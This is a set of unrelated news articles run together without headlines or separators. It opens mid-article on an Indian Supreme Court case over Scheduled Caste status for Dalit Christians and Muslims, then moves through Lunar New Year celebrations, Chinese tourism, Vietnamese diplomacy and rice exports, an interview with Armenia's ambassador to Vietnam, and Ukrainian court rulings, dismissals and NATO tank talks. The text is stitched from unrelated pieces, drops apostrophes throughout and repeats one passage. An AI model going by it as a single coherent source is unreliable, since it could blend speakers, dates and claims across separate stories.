In 2004, the Centre for Public Interest Litigation and Dalit Christian lawyer Franklin C. Thomas challenged the 1950 order, which was then joined by several other petitions from a range of Dalit Christian, Pasmanda and civil society groups. These petitions together make up the case, which came up for a hearing at the Supreme Court in October last year.

The NCDC started in Delhi in 2006 as a network of Christians of Scheduled Caste backgrounds and soon spread nationwide.

According to the councils president, V.J. George, the NCDC objects strenuously to the court-appointed K. G. Balakrishnan commission as well as the Centres position. He called it a dangerous move meant to delay the resolution of the case.

To have it linger, isolated in developments or isolated from achieving progress, because of conversion to Christianity, or Islam shows a malicious intent by the Centre, he said.

History of the petitions

The case reaching the Supreme Court this year is a result of decades of on-ground mobilization, solidarity building and advocacy from Dalit Christian and Dalit Muslim organisations from across the country, as well as several Dalit bodies and politically Left groups.

Annie Namala, the director of the Centre for Social Equity and Inclusion, who has been working for Dalit rights for years now, explained that the Centre aims to promote a contradiction between religious freedom and untouchability by birth.

Dalit [identity] is by birth, and all the disadvantages you face go with it, to be denied protective mechanisms and support because you have religious freedom, that doesnt go together, she said.

She further explained that without the SC status and all it provides, Dalit Christians are forced to live double lives where their religion doesnt reflect their legal identities. On official paperwork, they are registered as Hindus, which is not the religion they identify with, she said.

Contesting claims

The Centres position draws on the argument that Islam and Christianity are both religions of foreign origin and so dont have the practice of casteism embedded doctrinally.

Paul V Manoharan, a Dalit human rights activist, advocate, and Chair of the National Dalit Christian Watch (NDCW), explained that Dalit Christians suffer from various discrepancies under existing legislation. They face discrimination within the church and society and get protection for neither.

Along with the opportunities, the government denies them thorough reservation and protection against atrocities.

He said they [Dalit Christians] are thrice victimised and thus have every right to be included as Scheduled Castes.

Throughout the length and breadth of India, Dalit Christians are very much disturbed with the response of the Supreme Court and that the government should be against our community because we are also citizens of this country, said George.

Govts stand is RSS position

According to Law Minister Ravi Shankar Prasads statement in the Rajya Sabha, the ruling partys position on the case is that Dalits who convert to Abrahamic and therefore non-Indic religions cannot claim the reservation benefits of Scheduled Castes.

In 1961, the apex decision-making body of the Rashtriya Swayamsevak Sangh (RSS), the Akhil Bharatiya Pratinidhi Sabha (ABPS) made a statement by purporting the idea that separate reservations for different sects would prove highly detrimental to national unity.

According to Sanbha Rumnong, a lawyer on the Dalit Christian side for one of the batches of petitions on making up the case against the Centre, its very clear to us how discriminatory the 1950 presidential order is, right? Its discriminating on the lines of religion. So that is unconstitutional, and that needs to go.

Rumnong explains that the problem of how to alleviate the discrimination faced by Dalit Christians and Muslims will involve some element of reservation policy and will likely be complicated.

Although he is unsure of the outcome of his case, he still maintains that the main issue currently is whether the presidential order is unconstitutional.

That has a straightforward answer, he said: Yes

Ranganath Commission recommended SC Status to Dalit Muslims, Christians

The Centre falsely claimed no documented research and precise authenticated information [was] available to establish that the disabilities and handicaps suffered by Scheduled Caste members in the social order of its origin.

Over the years, multiple commissions and reports have been prepared by the Union government to determine the SC status. This includes the Kaka Kalekar or the First Backward Classes Commission of 1955 to the 1969 Elayaperumal Committee report. The most recent report is the 2009 Ranganath Mishra Commission, which explicitly recommended including Dalit Christians and Dalit Muslims in the Scheduled Castes list.

The main recommendations of the Commission included reserving an 8.4% quota out of the existing OBC quota of 27% for religious minorities, mainly Muslims; permitting Dalits who convert to Islam or Christianity to avail of reservation benefits under the Scheduled Caste reservation quota; giving 10% quotas for Muslims and 5% for other minorities in government jobs and in seats in all the higher educational institutions (graduation and above).

There is indeed a significant lack of data on the demographics of Dalit Christians and Muslims. This absence further exposes them to discrimination by denying them access to protections and benefits.

Riya Talitha is a fellow at the SEEDS-TCN mentorship program.
* From the Empire State Building in New York, Tokyo Tower in Japan's capital, Sydney Opera House and many other famous landmarks to Chinatowns around the world, numerous buildings and neighborhoods have been lit up in red or decorated with Chinese elements such as red lanterns, creating a cheerful festival ambience.

* Various entertaining and cultural events such as concerts and food events have been organized in Cambodia, Ethiopia, New Zealand, Spain, the United States and others.

* Many overseas Chinese have expressed their best wishes to the motherland.

Landmarks around the globe have been lit up in the auspicious color red to celebrate the Lunar New Year, or Spring Festival, that fell on Sunday this year.

The Lunar New Year for 2023 marks the Year of the Rabbit -- a gentle and beloved animal that signifies vitality, wittiness, cautiousness and good luck in the Chinese zodiac.

Outside China, many people are also celebrating the most important Chinese festival alongside local Chinese communities, enjoying a taste of Chinese culture while strengthening their friendship with others from different cultural backgrounds.

LANDMARKS GLOW IN RED

From the Empire State Building in New York, Tokyo Tower in Japan's capital, Sydney Opera House and many other famous landmarks to Chinatowns around the world, numerous buildings and neighborhoods have been lit up in red or decorated with Chinese elements such as red lanterns, creating a cheerful festival ambience.

Tokyo Tower is lit up in red to celebrate the Chinese New Year in Tokyo, Japan, Jan. 21, 2023. (Xinhua/Zhang Xiaoyu)

A number of landmarks projected Spring Festival wishes in the Chinese language when turning red. On Saturday, Nelson's Column at London's Trafalgar Square was illuminated in Mandarin to wish people a Happy Chinese New Year. The Chinese character "fu," which means good fortune, was projected onto the Mole Antonelliana, the most recognizable building in Turin, Italy.

This photo taken on Jan. 21, 2023 shows a large lantern celebrating the Year of the Rabbit on the eve of the Chinese New Year at Trafalgar Square in London, Britain. (Xinhua/Li Ying)

"We are so pleased to extend our heartfelt New Year's wishes to the entire Chinese community here in the United States, around the world and especially in China," said Tony Malkin, CEO, president and chairman of Empire State Realty Trust.

Apart from the lighting, some popular attractions and main streets in Sydney are seeing rabbit-shaped artworks designed by local illustrators in celebration of the festival.

Between mid-January and mid-February, a Chinatown on Yaowarat Road in Thailand's Bangkok is decorated with lights, featuring a 45-meter-long light tunnel and lanterns of various styles.

Also in a festive mood is the north Italian city of Milan. On Saturday, a Chinese New Year animation was played on a large screen in Piazza San Babila, a busy area in the city center. Along a bustling street there decorated with red lanterns and Chinese dragons, many locals came to experience Chinese culture and take photos.

To mark the Year of the Rabbit, Jungfrau, a popular ski region in Switzerland, also put up Chinese lanterns and custom-made illuminations at its Grindelwald Terminal to create a festive atmosphere.

DIVERSE CELEBRATIONS

Various entertaining and cultural events such as concerts and food events have been organized in Cambodia, Ethiopia, New Zealand, Spain, the United States and others. For many countries, dragon parades, fireworks and issuing zodiac stamps have become symbolic activities during the Spring Festival.

These days, Australia, Fiji, France and Hungary have issued commemorative stamps featuring bunny elements in collaboration with Chinese artists.

This photo taken on Jan. 16, 2023 shows a first-day cover with the stamps marking the Year of the Rabbit at Hungary's Stamp Museum in Budapest, Hungary. (Photo by Attila Volgyi/Xinhua)

On Jan. 14, the French postal service La Poste held a ceremony in Paris to launch two rabbit-themed stamps. At the event, a French man who didn't offer his name said, "I've collected stamps for more than 60 years. Every year, I would come for the stamps dedicated to the Chinese New Year."

Multiple tourist attractions hosted Chinese New Year celebrations during the holiday, ushering in a joyous tribute to Chinese and Asian culture.

At Disney California Adventure Park, a series of celebrations kicked off Friday. The same day, the Empire State Building unveiled its Fifth Avenue Window Exhibition, which features an installation of artistic imagery and representations of rabbits.

People watch a dragon dance performance during a parade celebrating the Chinese New Year in Madrid, Spain, Jan. 22, 2023. (Photo by Gustavo Valiente/Xinhua)

As the Spring Festival brings nostalgic joy for overseas Chinese, Chinese diplomatic missions, businesses and cultural institutions based overseas have held receptions and galas to observe the New Year with their local colleagues.

Additionally, Chinese embassies around the globe have distributed "Spring Festival kits," which contain traditional Spring Festival goods and local specialties.

Having attended a celebration at the Chinese Embassy in Iran earlier this month, Wang Danyu, a teacher at the Confucius Institute of Tehran University, said, "This event conveyed the warmth from my motherland."

Praising a festive event co-hosted by the Chinese Mission to the African Union and the UN Economic Commission for Africa in Ethiopia's capital Addis Ababa, local resident Rakeb Million said, "What amazed me the most is their sense of togetherness and closeness. They (Chinese people) look very beautiful as they celebrate the new year together."

NEW YEAR WISHES

Many overseas Chinese have expressed their best wishes to the motherland.

"We overseas Chinese are willing to serve as a bridge between the motherland and the world," Lu Gang, executive vice chairman of the Russian Far East Chinese Chamber of Commerce and Industry, told Xinhua. "On behalf of the overseas Chinese in the Russian Far East, I would like to wish our great motherland prosperity and our people happiness!"

"We are very proud of the development and progress of our motherland," said Deng Zhuting, president of London Chinatown Chinese Association. "We will continue to tell China's story well on the world stage and promote steady and sustained China-UK friendly exchanges."

People perform dragon dance during the Chinese New Year parade in Paris, France, on Jan. 22, 2023. (Xinhua/Gao Jing)

Besides, global leaders have also delivered their wishes to those who observe the Chinese New Year.

In a video message released on Wednesday, UN Secretary-General Antonio Guterres said, "I am pleased to send my warmest greetings as we enter the Year of the Rabbit. The rabbit is a symbol of energy and dexterity. These are qualities we need as humanity faces hardship and tests."

"I thank China for your strong partnership with the United Nations and support for international cooperation. By working together as a global community, we can advance peace, sustainable development and a better world for all," he said.

"On behalf of the government and the people of Tanzania, I extend my warmest wishes to all Chinese as you celebrate your Chinese New Year," Tanzanian President Samia Suluhu Hassan tweeted.

Dancers perform during a cultural event in celebration of the Chinese New Year in Milan, Italy, Jan. 22, 2023. (Xinhua/Jin Mamengni)

"It is with distinct pleasure and sincere feelings of friendship that I join your celebrations today on the joyous occasion of the Chinese Lunar New Year, the Year of the Rabbit, a symbol of good fortune, great ambition, bright future, wealth and prosperity," Cypriot President Nicos Anastasiades said Friday via video.

Lucie Milebou Aubusson, president of the Gabonese Senate, said, "I am honored to address the brotherly Chinese people as the president of the Senate and on behalf of the upper house of parliament and send our sincere wishes of health, happiness and prosperity."

Former Japanese Prime Minister Yasuo Fukuda extended his wishes that everyone could "jump high and far" in the Year of the Rabbit. "I wish everyone good health, and wish peace and prosperity for China, Japan, Asia and the world at large."
On the first day of the Chinese Lunar New Year, a Chinese tourist surnamed Wu landed in Bangkok, Thailand, together with her parents, at the start of a long-awaited vacation.

"I wanted to take my family to Thailand a few years ago, but it was put on hold due to the COVID-19 pandemic," said Wu, who lives in Hangzhou, capital of east China's Zhejiang Province. "As soon as the restrictions on our overseas trips were lifted, I booked the plane tickets to Thailand and fulfilled my promise."

As China downgraded its management of COVID-19 and facilitated the smooth and orderly cross-border travel of Chinese and foreign nationals in early January, the outbound travel market, which had been almost dormant for the past three years, quickly recovered during the Spring Festival.

"Currently, the demand for outbound travel is very strong. For instance, our charter flight products to the Maldives on Chinese Lunar New Year's Eve were sold out within three days," said Hang Haijun, head of a travel photo service.

The embassies and tourist bureaus of many countries, including Thailand, Norway and Indonesia, have extended their welcomes to Chinese tourists in various ways since the adjustment of China's COVID response and entry-exit policies.

"For any destination in the world, the return of Chinese tourists is something to look forward to," said Shen Jiani, a senior researcher at the strategic research center of the Ctrip Research Institute, adding that the boost will be felt most in the Asian market, as it is closer to China.

Chinese tourists are now more likely to choose overseas destinations with more open and friendly entry policies.

Data from Trip.com Group shows that nearly half of the hotel bookings made on the platform by Chinese tourists for longer than 20 days are orders for Thai hotels. In the past week, the number of Thai visa applicants in China increased by three times compared with last year, while the number of people buying tourism products for Thailand surged by 10 times year-on-year, according to data from Alibaba's travel branch Fliggy.

Wu said that she and her family left Guangzhou in the morning and landed in Bangkok at noon. It took only 20 minutes for them to complete the customs clearance process. "We were still unsure about the entry situation before we departed China, but the whole process went without any problem," she said.

Chinese tourists to Indonesia, Malaysia, Singapore and other countries have also posted their smooth entry experiences on social media platforms.

The influx of Chinese tourists is adding confidence to the economic recovery of some countries that depend on tourism. Malaysia is expected to receive 1.5 million to 2 million Chinese tourists in 2023, while some related industry practitioners in Singapore estimate that Chinese tourists will generate an additional 2 billion Singapore dollars in annual revenue.

Chinese people's urgent demand for outbound travel is also pushing tourism authorities to adjust policies.

On Jan. 20, the Ministry of Culture and Tourism released a circular to revive outbound group travel to 20 countries with friendly entry policies towards China, including Thailand, the Maldives, the United Arab Emirates, Russia and New Zealand. In Zhejiang, many travel agencies launched outbound group tour products overnight, and the tours of some routes were filled up right away.

"The market recovery is coming more quickly and steadily than expected," said Chen Jin, deputy general manager of China International Travel Service Ningbo Co., Ltd., adding that the resumption of outbound group travel will be a booster accelerating the recovery of the whole tourism industry.
Vietnamese Ambassador to Austria Nguyen Trung Kien (centre) and other members of the Vietnamese delegation to the fourth session of the UN Ad Hoc Committee (Source: VNA)

The delegation, led by Vietnamese Ambassador to Austria Nguyen Trung Kien, included representatives of the Ministry of Foreign Affairs, the Ministry of Public Security, the Ministry of National Defence, and the Ministry of Justice.

Speaking on the opening day of the session, which lasted from January 9 to 20, the delegation highly valued efforts by the Secretariat of the Ad Hoc Committee in building the first draft, which laid a solid foundation for the next negotiations to soon finalise the draft convention and submit it to the UN General Assembly for ratification.

The Vietnamese side also gave opinions about some parts of the draft such as the scope of the convention, offences against information technology (IT) systems, IT-based scams, and individual criminal responsibility.

In recent years, protecting cyber safety and security and combating cybercrimes have become a crucial part in the security strategies of many countries.

After 10 years of negotiations by inter-governmental working groups, in 2019, the UN General Assembly decided to set up the Ad Hoc Committee to build an international convention for promoting international cooperation against ICT crimes. The committee establishment reflected the international communitys concern about growing threats posed by ICT crimes, and also showed UN member states efforts to create the first international legal document covering this issue.

At the three sessions held in 2022, the Ad Hoc Committee agreed on the negotiation roadmap and identified the structure and basic content of the future convention. Countries began discussing the draft in detail from the beginning of 2023.

The final draft is expected to be finalised by the end of 2023 and submitted to the UN General Assembly for ratification in 2024./.
2022 rice exports are successful in both value and output

Looking back at the results of the rice industry in 2022, Mr. Do Ha Nam, Vice President of the Vietnam Food Association, analyzed that this year saw fluctuations in the market, especially at the beginning of the year when rice prices went down but fluctuated in the middle of the third quarter. However, 2022 is still a quite successful year for Vietnamese food exporters and producers. In particular, rice exports to some major markets such as the Philippines recorded growth of nearly 30%.

Not only recording output exceeding the set plan, 2022 also marks the entry of Vietnamese rice into the Middle East and European markets with the Made in Vietnam brand at a high price of more than 1,000 USD per ton.

In the European market, we are exporting under Trung Ans own brand with prices of over 1,000 USD per ton for ST24, ST25 fragrant rice. In the past year, we also expanded our exports to the Middle East and market share was kept stable in the Republic of Korea and Malaysia, said Mr. Pham Thai Binh, General Director of Trung An High-Tech Agriculture Joint Stock Company.

Door continues to be bright in 2023

From the foundation of 2022, exporters forecast that, in 2023, rice exports will have many breakthrough opportunities.

Specifically, Mr. Do Ha Nam said that the high prices recorded at the end of the crop, especially at the end of 2022, will help rice exporters find contracts easier to negotiate in 2023.

In previous years, rice prices were usually low at the end of the year, so import partners often chose that time to negotiate prices for the winter-spring crop. However, this year, we reached a high price at the end of the crop, so we also hoped that the contracts signed for the winter-spring crop in 2023 would be better. More importantly, the price increase will help farmers have more motivation to expand the area and improve productivity, Nam said.

Photo for illustration. (Source: congthuong.vn)

With the good price foundation, prospects will be seen in many markets such as the Philippines, China, Europe or Bangladesh.

For the Chinese market, the countrys border reopening is considered a positive signal for rice exporters. Vietnam often exports 2.5 to 3 million tons of food to the Chinese market, but in recent years, it only shipped around 1 million tons to the market.

Since the end of last year, we see the Chinese market starting to be more stable and with the countrys reopening policy, we believe that in 2023, rice exports to China can reach 1 million tons, Nam added.

At the end of November 2022, Bangladeshs Minister of Food Sadhan Chandra Majumder visited Vietnam to work directly with the Southern Food Corporation (VINAFOOD II). At this meeting, Mr. Sadhan Chandra Majumder, affirmed that the countrys rice production is not enough to supply 170 million people and it still needs to import rice, with the main suppliers being India, Vietnam and Myanmar. Therefore, Bangladesh has agreed to extend the MOU on rice trade with Vietnam for another five years.

Earlier, VINAFOOD II served as a rice supplier under the MOU (memorandum of understanding) over the years to Bangladesh. Of which, the corporation provided 450,000 tons of rice to the market in 2011; 250,000 tons in 2017; 52,500 tons in 2021; and 230,000 tons in 2022. The extension of this MOU is expected to create more opportunities for Vietnamese rice to penetrate Bangladesh stably in the near future.

For the Philippine market, Vietnams largest rice consuming country, the Government of this country has recently decided to maintain rice import tax at 35%. The move will be good news for Vietnams rice exporters as it will ensure the stability of the market.

Besides, the forecast of the Federation of Free Farmers (FFF) of the Philippines said that the country may need to import at least 3 million tons of rice next year due to an ongoing shortage when rice production is lower than demand./.
Ambassador of the Republic of Armenia to Vietnam Vahram Kazhoyan

(Photo: Armenian Embassy in Vietnam)

Reporter: Diplomatic relations between Vietnam and Armenia were established on 14 July 1992. The friendship and traditional cooperation between Vietnam and Armenia have been built up over the past 30 years. Would you please share about diplomatic relations between Vietnam and Armenia at present?

Ambassador Vahram Kazhoyan: Allow me this opportunity to congratulate the Vietnamese people on the New Year and wish them health, happiness and prosperity in 2023.

Diplomatic relations between Armenia and Vietnam were established on July 14, 1992. In 2022 we celebrated the 30th anniversary of the diplomatic relations between Armenia and Vietnam, the framework of which included an exchange of congratulation messages between the Ministers of Foreign Affairs of Armenia and Vietnam. The Embassy of the Republic of Armenia had planned a number of events in the framework of the 30th anniversary of diplomatic relations, including meetings, receptions, and the translation of the novel of the well-known Armenian writer Khachik Dashtents Call of Ploughmen from Armenian into Vietnamese and its publication in 2023.

With regards to the friendship and traditional cooperation between Armenia and Vietnam, I would like to underline that although the relations between our peoples has a history of at least eight hundred years, the new era of cooperation in our times can be definitely considered the mid-20th century when the Armenian Soviet Socialist Republic provided its expert and technical support to the people of Vietnam during their struggle for independence, and later during the American war. It was further strengthened in the period of construction of the new and independent Vietnam.

First President of Vietnam Ho Chi Minh visited Armenia in July 1959, giving a new impetus to the further development of friendship and relations of traditional cooperation between Armenia and Vietnam.

Around 2000 Vietnamese students, many of whom are currently members of Vietnam-Armenia Friendship Association (VAFA), have studied in the secondary and higher educational institutions of Armenia in the period of 1950-1990.

The last 30-year relations between Armenia and Vietnam have constantly developed in both bilateral and multilateral spheres.

Currently the cooperation between our two countries in the political sphere is at the high level: a number of high-level official visits have taken place during this period.

The opening of the Embassy of Armenia in Vietnam in 2013 gave a new, strong impetus to the further development of relations in political, economic and other spheres of mutual interest between the two countries. We are confident that opening the Vietnamese Embassy in the Republic of Armenia would highly contribute to the new phase of development of our relations.

Reporter: The economic and investment cooperation between Vietnam and Armenia has achieved progress in the context of the Vietnam  Eurasian Union FTA, of which Armenia is a member, coming into force and the Vietnamese-Armenian Intergovernmental Commission on economic, trade, scientific and technical cooperation being put into operation. Would you please share how the cooperation between Vietnam and Armenia has been effectively implemented since then?

Ambassador Vahram Kazhoyan: Among many reasons for the opening of the Embassy of the Republic of Armenia to Vietnam in 2013, apart from deepening political cooperation between our countries, was also to develop the trade-economic relations between Armenia and Vietnam. In this context, I would like to mention that unfortunately the cooperation in the trade-economic sphere between the two countries is not yet at the same level as our political relations, despite the fact that Vietnam-Eurasian Economic Union Free Trade Agreement (Vietnam-EEU FTA) provides broad opportunities for developing and deepening the cooperation in the trade-economic sphere. The implementation of the provisions of the FTA will create most favorable conditions for the realization of mutually beneficial trade between our countries. These are some of the issues that are already being discussed in the framework of the EEU and will be further considered during the second session of the Armenian-Vietnamese Joint Intergovernmental Commission on Trade and Economic Cooperation.

The Armenian-Vietnamese Joint Intergovernmental Commission on Trade and Economic Cooperation was created in the framework of the Agreement on Economic, trade, scientific and technical cooperation between the Government of the Republic of Armenia and the Government of the Socialist Republic of Vietnam".

The first session of the Armenian-Vietnamese Joint Intergovernmental Commission on Trade and Economic Cooperation took place on March 17, 2017. The second session is scheduled to be held in Yerevan and currently the Embassy of the Republic of Armenia in Vietnam, Ministries of Economy and Foreign Affairs of the Republic of Armenia and the Ministry of Industry and Trade of Vietnam are discussing holding of the second session of the Armenian-Vietnamese Joint Intergovernmental Commission on Trade and Economic Cooperation in Yerevan, combined with an Armenian-Vietnamese business forum.

This will allow the business people of two countries to meet and discuss issues referring to the export and import of goods from Armenia to Vietnam and vice versa.

Armenia can export to Vietnam Armenian alcoholic beverages, particularly Armenian Ararat cognacs and wines, which have won many awards in various international competitions and specialized fairs, as well as dairy and meat products, fresh and dried fruits, watches and many other products.

Armenia is interested in importing from Vietnam fruits, computers and computer parts, electronics, rice, coffee, fruits and other products.

It should be noted that before the outbreak of the COVID-19 pandemic and the closing of the borders due to the spread of the pandemic, the volumes of bilateral trade between Armenia and Vietnam were constantly increasing, but these rates slowed down in 2020-2021.

Direct air communication between Armenia and Vietnam could certainly contribute to the further development and deepening of cooperation in the trade- economic spheres between the two countries. It will not only increase tourism between the two countries, but also will have an impact on the growth of direct bilateral trade.

Reporter: Cultural diplomacy and people-to-people diplomacy cooperation are also a focus of the two countries, helping the people and businesses of the two countries understand more about each other. What are your assessments of this cooperation?

Ambassador Vahram Kazhoyan: Cooperation in the cultural sphere and people-to-people contacts are important for the further development and deepening of relations between the two countries. There are many sites and places of interest in Armenia and Vietnam which attract tourists of both countries. Before the outbreak of COVID-19 pandemic and the closure of international borders, the Embassy of the Republic of Armenia in Vietnam was in the process of organizing a fam-tour (tour) in the end of May to early June, for over a dozen Vietnamese travel agencies and agents, to visit Armenia for the familiarization with the tourism sector of Armenia  its sightseeing places, hotels, transportation, culture and cuisine. Unfortunately, the outbreak and spread of the COVID-19 pandemic prevented the implementation of the above-mentioned project. The Embassy is nowadays reviving this project.

In order to promote the cooperation in the sphere of tourism between Armenia and Vietnam, the Government of Armenia has simplified the process of obtaining entry visas to Armenia for the citizens of Vietnam by removing the invitation requirement since July 11, 2022. Currently the citizens of Vietnam can obtain entry visas to Armenia either directly from the Embassy of Armenia in Hanoi or apply for an E-Visa of the Republic of Armenia. The Government of Armenia has proposed to sign an agreement on the elimination of entry visa requirement for the citizens of two countries.

Vietnam has traditionally been one of the main destinations for Armenian tourists in South-East Asia. Before the outbreak of the COVID-19 pandemic, the number of tourists arriving in Vietnam from Armenia had registered steady annual increases. Many of the tourists arriving for holidays in Vietnam were also entrepreneurs who usually combined business and pleasure, seeking new trade and export opportunities while on holiday in Vietnam.

The best way to bring our two peoples closer is through tourism, culture and cuisine. Some of the future plans of our Embassy include organization of cultural and culinary exchanges between Armenia and Vietnam.

Ambassador Vahram Kazhoyan at the Presidential Place in Hanoi (Photo: Armenian Embassy in Vietnam)

Reporter: On November 22, 2022, the official ceremony of signing of the Memorandum of Understanding between the Diplomatic School of Armenia and the Diplomatic Academy of Vietnam took place. Could you share about the success of this event?

Ambassador Vahram Kazhoyan: The signing of the Memorandum of Understanding between the Diplomatic School of Armenia and the Diplomatic Academy of Vietnam was only the first step of cooperation between the two institutions. A number of events are planned in the framework of the signed Memorandum of Understanding, such as organization of lectures, including online, conducting courses for young diplomats of the foreign departments of the countries of South-East Asia on the domestic and foreign policy of Armenia and the region, as well as exchange of professors visits and their lectures in both institutions.

Reporter: In 2023, what will you do to contribute to promoting bilateral relations between Vietnam and Armenia during your term as the Armenian Ambassador to Vietnam which is considered as a bridge of the two countries friendship?

Ambassador Vahram Kazhoyan: As in previous years, the Embassy of the Republic of Armenia to Vietnam has planned a number of events in 2023 in the economic, cultural, educational, political and other spheres, aimed at the further development of relations between Armenia and Vietnam.

The bulk of activities will be centered around those issues that I have already addressed above. In that regard, I would certainly prioritize the holding of the second session of the Armenian-Vietnamese joint Intergovernmental Commission on Trade and Economic Cooperation in Yerevan in 2023 and the business forum. I would also add here the expansion of the legal base between the two countries. It seems that Armenia and Vietnam have signed all possible agreements but there is always ground for more specialized cooperation between the agencies, decentralized cooperation between the Armenian regions and Vietnamese provinces, as well as establishment of sister-city relations between Armenian and Vietnamese cities.

As I have already mentioned, the establishment of direct air communication between Armenia and Vietnam will be an important step forward, which will give the opportunity to record unprecedented progress in all directions of cooperation between our countries.

Certainly, there are many more programs and initiatives, cooperation agreements that are currently under consideration and the Embassy of Armenia will make relevant announcements in due course during 2023.

In the conclusion, I would like also to congratulate the Vietnamese people on the coming Lunar New Year  the year of the Cat and once again wish them health, happiness and prosperity.

Reporter: Thank you so much!
The High Anti-Corruption Court (HACC) on Monday partially satisfied a claim of the Ministry of Justice for the confiscation of Ukrainian assets of the main beneficiary and member of the board of directors of Russian PJSC VSMPO-Avisma Corporation, the world's largest titanium producer, Mikhail Shelkov, refusing, in particular, recover 100% of Demurinsky Mining and Processing Plant LLC and a number of other companies to state.

"We are preparing an appeal. But - how so????!!!!!!!!" Inna Bohatykh, head of the Sanctions Policy Department of the Ministry of Justice, commented on this court decision on Facebook.

She stressed that the Ministry of Justice is convinced that Russian billionaire Shelkov continues to exercise control over Demurinsky Mining.

According to her, the HACC does not consider sufficient evidence such as the sale of 75% of the corporate rights of the Cypriot company that owns the mine for EUR 3,750 a few days before the start of a full-scale war, in conditions when the seller and the Cypriot company have already been under sanctions.

In addition, as Bohatykh pointed out, part of the management that worked for Shelkov continued to work in the Cypriot company and Demurinsky Mining after the alleged "sale" of 75%. She added that the presence of Mining's debt through the Cypriot owner company to VSMPO-Avisma allows Shelkov, in case of non-repayment of this debt, to levy execution on the plant itself.

In turn, the HACC reported that, in particular, an apartment of 175.5 square meters and a parking space in Odesa; a warehouse of rolls of stainless steel tape with a total area of 2,411 square meters in Nikopol; a complex in Nikopol; a wheeled tractor; a Lexus car and four Mitsubishi Pajero Sport cars; cash on bank accounts and 100% of VSMPO Titan Ukraine were recovered to the state.

"The presiding judge in this case expressed a dissenting opinion, which can be found in the Unified State Register of Court Decisions No. 991/6606/22," the release says on the court's website.

The court clarified that an appeal can be filed with the HACC Appeal Chamber within five days from the date of the announcement of the decision.

Shelkov, ranked 59th in the Forbes rating of Russian oligarchs with a fortune of about $1.5 billion, was included in the Ukrainian sanctions list back in 2021, and in October last year, the sanctions were expanded to include Cypriot Limpieza Limited.

The Ministry of Justice also asked that Investagro, founded by Demurinsky Mining, and Tai-Minerals LLC, be recovered to state.
President of Ukraine Volodymyr Zelensky has signed a decree dismissing Deputy Head of the President's Office Kyrylo Tymoshenko from his post.

"Dismiss Tymoshenko Kyrylo Vladlenovych from the post of Deputy Head of the Office of the President of Ukraine in accordance with the submitted application," the president said in the decree.

Relevant decree No. 28 is posted on the website of the head of state.

As reported, Tymoshenko wrote a letter of resignation from office.
Andriy Yermak, Head of the President's Office of Ukraine, had a telephone conversation with U.S. National Security Adviser Jake Sullivan.

"Had a telephone conversation with U.S. National Security Adviser Jake Sullivan. We continued to consider the issue of strengthening the protection of critical infrastructure and ensuring Ukraine's energy security," Yermak wrote on his Telegram channel.

Yermak briefed Sullivan on the current situation in Donbas and the tasks facing the Ukrainian Defense Forces. He noted the importance of providing the Ukrainian army with weapons and equipment for an effective response to the actions of the Russian Federation.

The parties also separately discussed the extension of sanctions pressure on the aggressor state.

"I spoke about Ukraine's desire to hold a summit on sanctions in February," the head of the President's Office said.

The parties also discussed Zelensky's peace formula, then Yermak expressed gratitude to President Joe Biden, both houses of the U.S. Congress and the entire American people for supporting Ukraine.
The Office of the Prosecutor General of Ukraine announces the dismissal of Oleksiy Symonenko from the post of Deputy Prosecutor General at his own request.

"Attorney General Andriy Kostin has signed an order to voluntarily dismiss Deputy Prosecutor General Oleksiy Symonenko from the administrative position," the ministry said on its Telegram channel on Tuesday.
Minister of Defense of Ukraine Oleksiy Reznikov supported the request of Viacheslav Shapovalov to dismiss him from the post of Deputy Minister of Defense of Ukraine and addressed the Cabinet of Ministers of Ukraine with a corresponding submission, according to the website of the Ministry of Defense.

"Viacheslav Shapovalov, who was in charge of the logistics of the Armed Forces of Ukraine, asked to be fired so as not to pose a threat to the stable supply of the Armed Forces of Ukraine as a result of a campaign of accusations related to the purchase of food services. Despite the fact that the voiced accusations are unfounded and groundless, Viacheslav Shapovalov's announcement of his dismissal is a worthy deed in the traditions of European and democratic politics, a demonstration that the interests of defense are higher than any offices or chairs," the ministry said.

The Ministry of Defense of Ukraine believes that such a step will help maintain the trust of society and international partners and ensure objectivity in case of additional clarifications and possible investigations.

"The Ministry of Defense of Ukraine thanks Viacheslav Shapovalov for his teamwork and effective work and is confident that the information waves will subside and justice will be achieved," according to the statement.
Zelensky about battles in Donbas, Russian shelling of Ukraine's border territories: There will be response to enemy

President of Ukraine Volodymyr Zelensky, speaking about the clashes in Donbas and the shelling of Russia in the border areas, in particular, Kharkiv and Sumy regions, said Ukraine was preparing a response to the enemy.

As the president said in an evening video statement, on Monday he had several detailed conversations with army commanders on the situation in operational areas.

"Fierce battles continue in the main operational areas, including in Donbas. Enemy shelling and assaults are around the clock. But the battle for Donbas continues. The battle for the south continues. We see what forces Russia is accumulating, and we know how to respond," he said.

"There will be a response to the enemy, of course, to the next terrorist shelling of our border territories, Sumy region, Kharkiv region. Ukraine will not show weakness. The government will not show weakness," Zelensky said.

Speaking about the situation in the rear settlements, the president said the war in the country continues and this reality should not be ignored.

"Sometimes it seems that someone in the rear cities completely forgot about the war and began to ignore reality, taking advantage of the protection of our heroes. Disregarding the war is such a luxury that no one can afford," he said.
NATO Secretary General Jens Stoltenberg, during a discussion on possible main battle tanks for Ukraine, called for the speedy delivery of new weapons to the country, the German edition Tagesschau said.

"At this pivotal moment in the war, we must provide heavier and more advanced systems to Ukraine. And we must do it faster," Stoltenberg said after talks and at a joint press conference with new German Federal Defense Minister Boris Pistorius in Berlin on Tuesday morning.

NATO Secretary General said the only way to a lasting peace is to make it clear to Russian President Vladimir Putin that "he will not win on the battlefield."

According to Stoltenberg, Ukrainian forces must be able to fight back against the Russians. "Not only to survive. But to win, take back territory and prevail as a sovereign, independent state in Europe."

Asked if NATO allies would supply main battle tanks to Ukraine, the NATO Secretary General said talks were ongoing. He is confident that a solution will be found soon. At the same time, Stoltenberg acknowledged the assistance that Germany had already provided to Ukraine.
NATO Secretary General Jens Stoltenberg reported on a good discussion with German Defense Minister Boris Pistorius on the issue of supplying German battle tanks to Ukraine and expressed confidence that a solution would be found in the near future.

"Russia is preparing for new offensives and we need to enable the Ukrainians fast. At this pivotal moment in the war, we must provide heavier and more advanced systems to Ukraine, and we must do it faster. We had a good discussion today on the issue of German battle tanks, and I am sure that a solution will be found in the near future," Stoltenberg said at a joint press conference with Pistorius in Berlin.

The NATO Secretary General also said he welcomes "the clear message from the Minister that our other Allies, other NATO Allies that have Leopard battle tanks are of course free to identify those Leopard battle tanks that may be available for Ukraine."

